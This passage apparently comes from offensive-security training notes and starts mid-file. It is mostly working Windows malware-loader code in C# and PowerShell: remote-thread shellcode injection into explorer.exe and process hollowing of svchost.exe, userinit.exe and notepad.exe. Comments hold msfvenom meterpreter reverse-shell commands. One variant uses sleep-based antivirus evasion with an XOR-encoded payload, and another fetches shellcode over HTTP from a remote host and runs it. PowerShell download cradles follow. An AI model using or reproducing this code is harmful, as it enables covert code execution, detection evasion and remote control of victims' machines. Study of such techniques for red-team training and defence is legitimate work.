[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
// Writes data to an area of memory in a specified process
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
// Creates a thread that runs in the virtual address space of another process
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
static void Main(string[] args)
{
// Obtain a handle to the target process. Remeber to change the process ID(4804)
IntPtr hProcess = OpenProcess(0x001F0FFF, false, 4804);
// Allocate memory in the target process's address space
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
// Define the shellcode bytes to inject
byte[] buf = new byte[591]
{
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xcc, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,
// ... (rest of the shellcode)
};
// Write the shellcode to the allocated memory in the target process
IntPtr outSize;
WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);
// Create a remote thread in the target process to execute the shellcode
IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
}
}
}
Csharp – But automatically get process ID
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace Inject
{
class Program
{
// Import necessary functions from kernel32.dll
// Opens an existing local process object
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
// Reserves or commits a region of memory within the virtual address space of a specified process
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
// Writes data to an area of memory in a specified process
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
// Creates a thread that runs in the virtual address space of another process
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
static void Main(string[] args)
{
// Automatically obtain process ID
Process[] localByName = Process.GetProcessesByName("explorer");
if (localByName.Length == 0)
{
Console.WriteLine("No explorer process found.");
return;
}
int targetProcessId = localByName[0].Id;
// Obtain a handle to the target process
IntPtr hProcess = OpenProcess(0x001F0FFF, false, targetProcessId);
// Allocate memory in the target process's address space
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
// Define the shellcode bytes to inject
byte[] buf = new byte[510] {0xfc,0x48,0x83,0xe4,0xf0,0xe8... [Rest of the shellcode]
};
// Write the shellcode to the allocated memory in the target process
IntPtr outSize;
WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);
// Create a remote thread in the target process to execute the shellcode
IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
}
}
}
Powershell
function LookupFunc {
Param ($moduleName, $functionName)
$assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$tmp=@()
$assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null,
@($moduleName)), $functionName))
}
function getDelegateType {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
[Parameter(Position = 1)] [Type] $delType = [Void]
)
$type = [AppDomain]::CurrentDomain.
DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run).
DefineDynamicModule('InMemoryModule', $false).
DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass',
[System.MulticastDelegate])
$type.
DefineConstructor('RTSpecialName, HideBySig, Public',
[System.Reflection.CallingConventions]::Standard, $func).
SetImplementationFlags('Runtime, Managed')
$type.
DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).
SetImplementationFlags('Runtime, Managed')
return $type.CreateType()
}
$procId = (Get-Process explorer).Id
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.49.67 LPORT=443 EXITFUNC=thread -f ps1
[Byte[]] $buf = 0xfc,0x48,0x83,0xe4...[REST OF SHELLCODE]
# C#: IntPtr hProcess = OpenProcess(ProcessAccessFlags.All, false, procId);
$hProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll OpenProcess),
(getDelegateType @([UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke(0x001F0FFF, 0, $procId)
# C#: IntPtr expAddr = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)len, AllocationType.Commit | AllocationType.Reserve, MemoryProtection.ExecuteReadWrite);
$expAddr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAllocEx),
(getDelegateType @([IntPtr], [IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke($hProcess, [IntPtr]::Zero, [UInt32]$buf.Length, 0x3000, 0x40)
# C#: bool procMemResult = WriteProcessMemory(hProcess, expAddr, buf, len, out bytesWritten);
$procMemResult = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WriteProcessMemory),
(getDelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [IntPtr])([Bool]))).Invoke($hProcess, $expAddr, $buf, [Uint32]$buf.Length, [IntPtr]::Zero)
# C#: IntPtr threadAddr = CreateRemoteThread(hProcess, IntPtr.Zero, 0, expAddr, IntPtr.Zero, 0, IntPtr.Zero);
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateRemoteThread),
(getDelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [UInt32], [IntPtr]))).Invoke($hProcess, [IntPtr]::Zero, 0, $expAddr, 0, [IntPtr]::Zero)
Write-Host "Injected! Check your listener!"
Process Hollowing
Process Hollowing is a method used by attackers to inject malicious code into a legitimate process while keeping the process running. This allows the attacker to hide their activities within a trusted process, potentially evading detection.
Stageless XOR’d
using System;
using System.Runtime.InteropServices;
namespace ProcessHollowing
{
public class Program
{
public const uint CREATE_SUSPENDED = 0x4;
public const int PROCESSBASICINFORMATION = 0;
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]
public struct ProcessInfo
{
public IntPtr hProcess;
public IntPtr hThread;
public Int32 ProcessId;
public Int32 ThreadId;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]
public struct StartupInfo
{
public uint cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
internal struct ProcessBasicInfo
{
public IntPtr Reserved1;
public IntPtr PebAddress;
public IntPtr Reserved2;
public IntPtr Reserved3;
public IntPtr UniquePid;
public IntPtr MoreReserved;
}
[DllImport("kernel32.dll")]
static extern void Sleep(uint dwMilliseconds);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)]
static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,
[In] ref StartupInfo lpStartupInfo, out ProcessInfo lpProcessInformation);
[DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)]
private static extern int ZwQueryInformationProcess(IntPtr hProcess, int procInformationClass,
ref ProcessBasicInfo procInformation, uint ProcInfoLen, ref uint retlen);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer,
int dwSize, out IntPtr lpNumberOfbytesRW);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll", SetLastError = true)]
static extern uint ResumeThread(IntPtr hThread);
public static void Main(string[] args)
{
// AV evasion: Sleep for 10s and detect if time really passed
DateTime t1 = DateTime.Now;
Sleep(10000);
double deltaT = DateTime.Now.Subtract(t1).TotalSeconds;
if (deltaT < 9.5)
{
return;
}
// msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.232.133 LPORT=443 EXITFUNC=thread -f csharp
// XORed with key 0xfa
byte[] buf = new byte[511] {
0x06, ...SHELLCODE HERE
};
// Start 'svchost.exe' in a suspended state
StartupInfo sInfo = new StartupInfo();
ProcessInfo pInfo = new ProcessInfo();
bool cResult = CreateProcess(null, "c:\\windows\\system32\\svchost.exe", IntPtr.Zero, IntPtr.Zero,
false, CREATE_SUSPENDED, IntPtr.Zero, null, ref sInfo, out pInfo);
Console.WriteLine($"Started 'svchost.exe' in a suspended state with PID {pInfo.ProcessId}. Success: {cResult}.");
// Get Process Environment Block (PEB) memory address of suspended process (offset 0x10 from base image)
ProcessBasicInfo pbInfo = new ProcessBasicInfo();
uint retLen = new uint();
long qResult = ZwQueryInformationProcess(pInfo.hProcess, PROCESSBASICINFORMATION, ref pbInfo, (uint)(IntPtr.Size * 6), ref retLen);
IntPtr baseImageAddr = (IntPtr)((Int64)pbInfo.PebAddress + 0x10);
Console.WriteLine($"Got process information and located PEB address of process at {"0x" + baseImageAddr.ToString("x")}. Success: {qResult == 0}.");
// Get entry point of the actual process executable
// This one is a bit complicated, because this address differs for each process (due to Address Space Layout Randomization (ASLR))
// From the PEB (address we got in last call), we have to do the following:
// 1. Read executable address from first 8 bytes (Int64, offset 0) of PEB and read data chunk for further processing
// 2. Read the field 'e_lfanew', 4 bytes at offset 0x3C from executable address to get the offset for the PE header
// 3. Take the memory at this PE header add an offset of 0x28 to get the Entrypoint Relative Virtual Address (RVA) offset
// 4. Read the value at the RVA offset address to get the offset of the executable entrypoint from the executable address
// 5. Get the absolute address of the entrypoint by adding this value to the base executable address. Success!
// 1. Read executable address from first 8 bytes (Int64, offset 0) of PEB and read data chunk for further processing
byte[] procAddr = new byte[0x8];
byte[] dataBuf = new byte[0x200];
IntPtr bytesRW = new IntPtr();
bool result = ReadProcessMemory(pInfo.hProcess, baseImageAddr, procAddr, procAddr.Length, out bytesRW);
IntPtr executableAddress = (IntPtr)BitConverter.ToInt64(procAddr, 0);
result = ReadProcessMemory(pInfo.hProcess, executableAddress, dataBuf, dataBuf.Length, out bytesRW);
Console.WriteLine($"DEBUG: Executable base address: {"0x" + executableAddress.ToString("x")}.");
// 2. Read the field 'e_lfanew', 4 bytes (UInt32) at offset 0x3C from executable address to get the offset for the PE header
uint e_lfanew = BitConverter.ToUInt32(dataBuf, 0x3c);
Console.WriteLine($"DEBUG: e_lfanew offset: {"0x" + e_lfanew.ToString("x")}.");
// 3. Take the memory at this PE header add an offset of 0x28 to get the Entrypoint Relative Virtual Address (RVA) offset
uint rvaOffset = e_lfanew + 0x28;
Console.WriteLine($"DEBUG: RVA offset: {"0x" + rvaOffset.ToString("x")}.");
// 4. Read the 4 bytes (UInt32) at the RVA offset to get the offset of the executable entrypoint from the executable address
uint rva = BitConverter.ToUInt32(dataBuf, (int)rvaOffset);
Console.WriteLine($"DEBUG: RVA value: {"0x" + rva.ToString("x")}.");
// 5. Get the absolute address of the entrypoint by adding this value to the base executable address. Success!
IntPtr entrypointAddr = (IntPtr)((Int64)executableAddress + rva);
Console.WriteLine($"Got executable entrypoint address: {"0x" + entrypointAddr.ToString("x")}.");
// Carrying on, decode the XOR payload
for (int i = 0; i < buf.Length; i++)
{
buf[i] = (byte)((uint)buf[i] ^ 0xfa);
}
Console.WriteLine("XOR-decoded payload.");
// Overwrite the memory at the identified address to 'hijack' the entrypoint of the executable
result = WriteProcessMemory(pInfo.hProcess, entrypointAddr, buf, buf.Length, out bytesRW);
Console.WriteLine($"Overwrote entrypoint with payload. Success: {result}.");
// Resume the thread to trigger our payload
uint rResult = ResumeThread(pInfo.hThread);
Console.WriteLine($"Triggered payload. Success: {rResult == 1}. Check your listener!");
}
}
}
Stageless 2
//https://github.com/mvelazc0/defcon27_csharp_workshop/tree/master/Labs/lab7
using System.Diagnostics;
using System.Runtime.InteropServices;
using System;
using System.Text;
using System.Threading;
public class Program
{
const int PROCESS_CREATE_THREAD = 0x0002;
const int PROCESS_QUERY_INFORMATION = 0x0400;
const int PROCESS_VM_OPERATION = 0x0008;
const int PROCESS_VM_WRITE = 0x0020;
const int PROCESS_VM_READ = 0x0010;
//https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-openthread
[DllImport("kernel32.dll")]
//static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, uint dwThreadId);
static extern IntPtr OpenThread(uint dwDesiredAccess, bool bInheritHandle, uint dwThreadId);
//https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-suspendthread
[DllImport("kernel32.dll")]
static extern uint SuspendThread(IntPtr hThread);
//https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-resumethread
[DllImport("kernel32.dll")]
static extern int ResumeThread(IntPtr hThread);
//https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/wdm/nf-wdm-zwunmapviewofsection
[DllImport("ntdll.dll", SetLastError = true)]
private static extern uint NtUnmapViewOfSection(IntPtr hProcess, IntPtr lpBaseAddress);
[DllImport("kernel32.dll")]
public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
[DllImport("kernel32.dll")]
//public static extern IntPtr VirtualAllocEx(IntPtr lpHandle,IntPtr lpAddress, IntPtr dwSize, AllocationType flAllocationType, MemoryProtection flProtect);
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
//https://docs.microsoft.com/en-us/windows/desktop/api/synchapi/nf-synchapi-waitforsingleobject
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
[DllImport("kernel32.dll")]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] buffer, IntPtr dwSize, int lpNumberOfBytesWritten);
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
private static UInt32 SUSPEND_RESUME = 0x0002;
public static void Main()
{
// msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f csharp
byte[] shellcode = new byte[193] {0xfc,0xe8,0x82,0x00,0x00,0x00,
0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,
0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,
0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,
0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,
0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,
0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,
0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,
0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,
0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,
0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x6a,
0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,
0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,
0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,
0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,0x61,
0x6c,0x63,0x2e,0x65,0x78,0x65,0x00};
string proc = "userinit.exe";
Process newproc;
newproc = Process.Start(proc);
Console.WriteLine("Started " + proc + " with Process Id:" + newproc.Id);
Console.WriteLine("Suspending process...");
foreach (ProcessThread thread in newproc.Threads)
{
IntPtr pOpenThread;
pOpenThread = OpenThread(SUSPEND_RESUME, false, (uint)thread.Id);
if (pOpenThread == IntPtr.Zero)
{
break;
}
SuspendThread(pOpenThread);
}
Console.WriteLine("Suspended!");
IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, newproc.Id);
IntPtr spaceAddr = VirtualAllocEx(procHandle, IntPtr.Zero, shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Console.WriteLine("Allocating memory");
WriteProcessMemory(procHandle, spaceAddr, shellcode, new IntPtr(shellcode.Length), 0);
Console.WriteLine("Copied shellcode in memory");
IntPtr pinfo = IntPtr.Zero;
IntPtr threatH = CreateRemoteThread(procHandle, new IntPtr(0), new uint(), spaceAddr, new IntPtr(0), new uint(), new IntPtr(0));
Console.WriteLine("Created remote thread");
Console.WriteLine("Resuming process...");
foreach (ProcessThread thread in newproc.Threads)
{
IntPtr pOpenThread;
pOpenThread = OpenThread(SUSPEND_RESUME, false, (uint)thread.Id);
if (pOpenThread == IntPtr.Zero)
{
break;
}
ResumeThread(pOpenThread);
}
Console.WriteLine("Resumed!");
}
}
Staged – Download payload through CIFS/SMB
using System;
using System.Runtime.InteropServices;
using System.Diagnostics;
namespace ProcessHollowingExample
{
internal class Program
{
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)]
static extern bool CreateProcess(string lpApplicationName, string lpCommandLine,
IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles,
uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,
[In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
[DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)]
private static extern int ZwQueryInformationProcess(IntPtr hProcess,
int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation,
uint ProcInfoLen, ref uint retlen);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
[Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern uint ResumeThread(IntPtr hThread);
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]
struct STARTUPINFO
{
public Int32 cb;
public IntPtr lpReserved;
public IntPtr lpDesktop;
public IntPtr lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
internal struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[StructLayout(LayoutKind.Sequential)]
internal struct PROCESS_BASIC_INFORMATION
{
public IntPtr Reserved1;
public IntPtr PebAddress;
public IntPtr Reserved2;
public IntPtr Reserved3;
public IntPtr UniquePid;
public IntPtr MoreReserved;
}
static void Main(string[] args)
{
string targetPath = "C:\\Windows\\System32\\svchost.exe";
string shellcodePath = "path_to_shellcode.bin"; // Replace with the actual shellcode file path
IntPtr processHandle, threadHandle;
uint threadId;
// Create a suspended process
STARTUPINFO si = new STARTUPINFO();
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
bool success = CreateProcess(null, targetPath, IntPtr.Zero, IntPtr.Zero,
false, 0x4, IntPtr.Zero, null, ref si, out pi);
if (!success)
{
Console.WriteLine("CreateProcess failed: " + Marshal.GetLastWin32Error());
return;
}
// Query process information to get the PEB address
PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();
uint tmp = 0;
IntPtr hProcess = pi.hProcess;
ZwQueryInformationProcess(hProcess, 0, ref bi, (uint)(IntPtr.Size * 6), ref tmp);
// Calculate the address of the EntryPoint
IntPtr ptrToImageBase = (IntPtr)((Int64)bi.PebAddress + 0x10);
byte[] addrBuf = new byte[IntPtr.Size];
IntPtr nRead = IntPtr.Zero;
ReadProcessMemory(hProcess, ptrToImageBase, addrBuf, addrBuf.Length, out nRead);
IntPtr svchostBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0));
// Read the PE header to locate the EntryPoint
byte[] peHeader = new byte[0x200];
ReadProcessMemory(hProcess, svchostBase, peHeader, peHeader.Length, out nRead);
uint e_lfanew_offset = BitConverter.ToUInt32(peHeader, 0x3C);
uint opthdr = e_lfanew_offset + 0x28;
uint entrypoint_rva = BitConverter.ToUInt32(peHeader, (int)opthdr);
IntPtr addressOfEntryPoint = (IntPtr)(entrypoint_rva + (UInt64)svchostBase);
// Read the shellcode
byte[] shellcode = System.IO.File.ReadAllBytes(shellcodePath);
// Overwrite the EntryPoint with the shellcode
IntPtr nWritten = IntPtr.Zero;
WriteProcessMemory(hProcess, addressOfEntryPoint, shellcode, shellcode.Length, out nWritten);
// Resume the suspended thread
ResumeThread(pi.hThread);
Console.WriteLine("Shellcode injected and executed successfully.");
}
}
}
Staged – Download payload over HTTP/HTTPS
using System;
using System.Net.Http;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.Threading.Tasks;
namespace ProcessHollowingExample
{
internal class Program
{
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)]
static extern bool CreateProcess(string lpApplicationName, string lpCommandLine,
IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles,
uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,
[In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
[DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)]
private static extern int ZwQueryInformationProcess(IntPtr hProcess,
int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation,
uint ProcInfoLen, ref uint retlen);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
[Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern uint ResumeThread(IntPtr hThread);
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]
struct STARTUPINFO
{
public Int32 cb;
public IntPtr lpReserved;
public IntPtr lpDesktop;
public IntPtr lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
internal struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[StructLayout(LayoutKind.Sequential)]
internal struct PROCESS_BASIC_INFORMATION
{
public IntPtr Reserved1;
public IntPtr PebAddress;
public IntPtr Reserved2;
public IntPtr Reserved3;
public IntPtr UniquePid;
public IntPtr MoreReserved;
}
static async Task Main(string[] args)
{
string targetPath = "C:\\Windows\\System32\\notepad.exe";
string shellcodeUrl = "http://192.168.1.126/shellcode.bin"; // Replace with the actual URL of the shellcode binary
IntPtr processHandle, threadHandle;
uint threadId;
// Create a suspended process
STARTUPINFO si = new STARTUPINFO();
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
bool success = CreateProcess(null, targetPath, IntPtr.Zero, IntPtr.Zero,
false, 0x4, IntPtr.Zero, null, ref si, out pi);
if (!success)
{
Console.WriteLine("CreateProcess failed: " + Marshal.GetLastWin32Error());
return;
}
// Query process information to get the PEB address
PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();
uint tmp = 0;
IntPtr hProcess = pi.hProcess;
ZwQueryInformationProcess(hProcess, 0, ref bi, (uint)(IntPtr.Size * 6), ref tmp);
// Calculate the address of the EntryPoint
IntPtr ptrToImageBase = (IntPtr)((Int64)bi.PebAddress + 0x10);
byte[] addrBuf = new byte[IntPtr.Size];
IntPtr nRead = IntPtr.Zero;
ReadProcessMemory(hProcess, ptrToImageBase, addrBuf, addrBuf.Length, out nRead);
IntPtr svchostBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0));
// Read the PE header to locate the EntryPoint
byte[] peHeader = new byte[0x200];
ReadProcessMemory(hProcess, svchostBase, peHeader, peHeader.Length, out nRead);
uint e_lfanew_offset = BitConverter.ToUInt32(peHeader, 0x3C);
uint opthdr = e_lfanew_offset + 0x28;
uint entrypoint_rva = BitConverter.ToUInt32(peHeader, (int)opthdr);
IntPtr addressOfEntryPoint = (IntPtr)(entrypoint_rva + (UInt64)svchostBase);
// Read the shellcode from the specified URL
byte[] shellcode;
using (HttpClient client = new HttpClient())
{
try
{
shellcode = await client.GetByteArrayAsync(shellcodeUrl);
}
catch (Exception ex)
{
Console.WriteLine("Error downloading shellcode: " + ex.Message);
return;
}
}
// Overwrite the EntryPoint with the downloaded shellcode
IntPtr nWritten = IntPtr.Zero;
WriteProcessMemory(hProcess, addressOfEntryPoint, shellcode, shellcode.Length, out nWritten);
// Resume the suspended thread
ResumeThread(pi.hThread);
Console.WriteLine("Shellcode injected and executed successfully.");
}
}
}

Phishing
Bypass 2-Fa
Hackers Bypass Google Two-Factor Authentication (2FA) SMS – YouTube
Proxy-aware PowerShell Cradle
A proxy is an intermediary server that sits between a user’s computer and the internet, often used for security, monitoring, and content control. The section discusses how different PowerShell download cradles, which are scripts or commands used to fetch and execute remote code, handle communication via proxies. Some PowerShell methods are inherently proxy-aware due to their reliance on .NET libraries that respect system-defined proxy settings. The content further explains how these methods can be manipulated to interact with or bypass proxy settings, highlighting potential security considerations.
192.168.168.11 – Victim
192.168.168.12 – Proxy server
Setting up proxy

List of proxy-aware PowerShell cradles
- Net.WebClient (as you’ve seen)
$wc = New-Object System.Net.WebClient
$wc.DownloadString('http://example.com/script.ps1')
The Net.WebClient
class respects the system proxy settings by default.
- Invoke-WebRequest and Invoke-RestMethod
Invoke-WebRequest -Uri 'http://example.com/script.ps1'
or
Invoke-RestMethod -Uri 'http://example.com/script.ps1'
These cmdlets are available in PowerShell v3 and later and are proxy-aware. They will use the system proxy settings unless overridden with the -Proxy
parameter.
- System.Net.HttpWebRequest
$req = [System.Net.HttpWebRequest]::Create('http://example.com/script.ps1')
$resp = $req.GetResponse()
$sr = New-Object IO.StreamReader($resp.GetResponseStream())
$result = $sr.ReadToEnd()
Like Net.WebClient
, the HttpWebRequest
class also respects system proxy settings by default. Its behavior can be altered by changing the .Proxy
property of the request object.
- BitsTransfer
Import-Module BitsTransfer
Start-BitsTransfer -Source 'http://example.com/script.ps1' -Destination 'path\to\save'
The BitsTransfer
module is used to transfer files, and it is proxy-aware. It respects system proxy settings.
SYSTEM Proxy with Net.WebClient
Create a Proxy Configuration for SYSTEM
- Proxy settings per user are stored in the registry at:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\InternetSettings
- When accessing as SYSTEM,
HKEY_CURRENT_USER
does not exist. UseHKEY_USERS
instead.
PowerShell to Setup Proxy for SYSTEM Integrity
- Map HKEY_USERS registry hive:
New-PSDrive -Name HKU -PSProvider Registry -Root HKEY_USERS | Out-Null
